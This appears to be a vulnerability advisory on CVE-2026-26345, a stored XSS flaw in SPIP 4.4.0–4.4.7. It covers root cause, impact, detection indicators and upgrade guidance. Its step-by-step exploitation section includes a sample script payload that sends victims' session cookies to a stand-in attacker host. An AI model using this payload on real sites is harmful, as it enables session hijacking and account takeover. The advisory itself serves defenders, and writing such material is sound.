CVE-2026-26345: 
NixOS vulnerability analysis and mitigation

CVE-2026-26345 is a stored cross-site scripting (XSS) vulnerability in SPIP, an open-source web publishing framework, affecting versions 4.4.0 through 4.4.7 (before 4.4.8). The flaw resides in the echapper_html_suspect() function, which fails to adequately sanitize user-controlled content in the public area under certain edge-case usage patterns. It was published on February 19, 2026, with a patch released in SPIP 4.4.8. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 8.6 (High) (SPIP Blog).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The echapper_html_suspect() function in SPIP's public area does not sufficiently sanitize user-supplied input, allowing authenticated users with content-editing privileges (author-level roles and above) to inject persistent malicious scripts. These payloads are stored in the application and rendered across multiple pages, executing in the browser context of any visiting user, including administrators. Notably, SPIP's built-in security screen does not mitigate this vulnerability, making it particularly relevant in environments where the security screen is relied upon as a primary defense (SPIP Blog).

Successful exploitation allows an authenticated attacker with content-editing privileges to inject persistent scripts that execute in the browsers of other users, including administrators. This enables unauthorized modification of application state, session hijacking, credential theft, and the ability to perform privileged actions on behalf of victim users. The payload persists across multiple pages within the SPIP framework, broadening the attack surface beyond the initial injection point.

There is no public proof-of-concept exploit available, and no evidence of in-the-wild exploitation has been reported at this time. Exploitation requires an authenticated account with at least author-level content-editing privileges, and victim interaction (page visit) is necessary to trigger the payload. The EPSS score is approximately 0.027%, reflecting a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection plugins are available via Tenable Nessus (plugin IDs 299638 and 300870) (Tenable, Tenable).

1. Gain authenticated access: Obtain or compromise an account with at least author-level content-editing privileges on a SPIP 4.4.0–4.4.7 instance.
2. Identify injectable content fields: Navigate to the SPIP public area and locate content fields processed by the echapper_html_suspect() function (e.g., article bodies, descriptions, or other user-editable fields).
3. Craft a stored XSS payload: Prepare a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to exfiltrate session cookies or perform actions on behalf of the victim.
4. Inject the payload: Submit the crafted content through the SPIP editor in an edge-case usage pattern that bypasses the echapper_html_suspect() sanitization and the SPIP security screen.
5. Wait for victim interaction: The stored payload is rendered across multiple SPIP pages; when an administrator or other user visits an affected page, the script executes in their browser context.
6. Achieve objective: Capture session tokens, perform unauthorized administrative actions, or further pivot within the application using the victim's security context.

• Logs: SPIP application or web server access logs showing unusual POST requests to content-editing endpoints containing script tags, encoded JavaScript, or event handler attributes (e.g., onerror, onload, <script>).
• File System: Unexpected modifications to SPIP content database entries containing embedded JavaScript or HTML event handlers in fields normally containing plain text or safe markup.
• Network: Outbound HTTP/S requests from victim browsers to unknown external domains shortly after visiting SPIP pages, potentially carrying cookie or session data as query parameters.
• Application Behavior: Unexplained administrative actions (e.g., new user creation, privilege escalation, configuration changes) that correlate with administrator sessions visiting content pages.

The primary remediation is to upgrade SPIP to version 4.4.8 or later, which addresses the insufficient sanitization in echapper_html_suspect() (SPIP Blog). As interim measures, administrators should restrict content-editing privileges to only fully trusted users, reducing the pool of potential attackers. Additionally, implementing supplementary input validation and output encoding beyond SPIP's default security screen is recommended, as the built-in security screen does not mitigate this vulnerability. A Debian security advisory (DSA-6155-1) has also been issued for affected Debian packages (Debian Advisory).

Debian issued a security advisory (DSA-6155-1) covering this and related SPIP vulnerabilities, prompting package updates for Debian users (Debian Advisory, Linux Security). Tenable released Nessus detection plugins (IDs 299638 and 300870) to assist organizations in identifying vulnerable SPIP installations. Coverage has been limited to security aggregator sites and Linux distribution security channels, with no notable broader media or social media discussion identified.